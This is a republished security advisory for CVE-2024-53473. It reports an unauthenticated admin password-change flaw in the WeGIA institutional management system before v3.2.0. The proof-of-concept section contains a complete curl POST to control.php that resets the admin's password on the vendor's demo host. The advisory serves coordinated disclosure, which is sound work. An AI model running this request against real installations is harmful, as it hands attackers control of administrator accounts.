⚠ Replicated advisory. This post reproduces an advisory originally researched and published under the CVE Hunters. It is republished here for reference. The original disclosure followed coordinated vulnerability disclosure and the rules of the CVE Program.

🔗 Original advisory: https://www.cvehunters.com/p/cve-2024-53473/
📋 CVE record: CVE-2024-53473

CVE Publication: https://www.cve.org/CVERecord?id=CVE-2024-53473

Vendor

WeGIA (Web Gerenciador Institucional) is an integrated management system licensed under the GNU GPL v3.0, designed to enhance administration, control, and transparency for institutions.

https://www.wegia.org

https://sol.sbc.org.br/index.php/latinoware/article/view/31544

Affected Product Code Base

WeGIA < v3.2.0

Vulnerability Description

A critical vulnerability was identified in the web application WeGIa. This vulnerability allows an attacker to change the password of the admin user by sending a POST request to the control.php endpoint without requiring authentication or authorization.

POC

Burp Request:

image

Curl Request:

curl -X POST https://demo.wegia.org/controle/control.php \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "Origin: https://demo.wegia.org" \
  --data-raw "nova_senha=1234567&confirmar_senha=1234567&nomeClasse=FuncionarioControle&metodo=alterarSenha&redir=logout.php&id_pessoa=1&alterar=Alterar"

References

https://github.com/nilsonLazarin/WeGIA/issues/791

https://www.wegia.org

https://github.com/LabRedesCefetRJ/WeGIA/

Discoverer

Natan Maia Morette

By: CVE-Hunters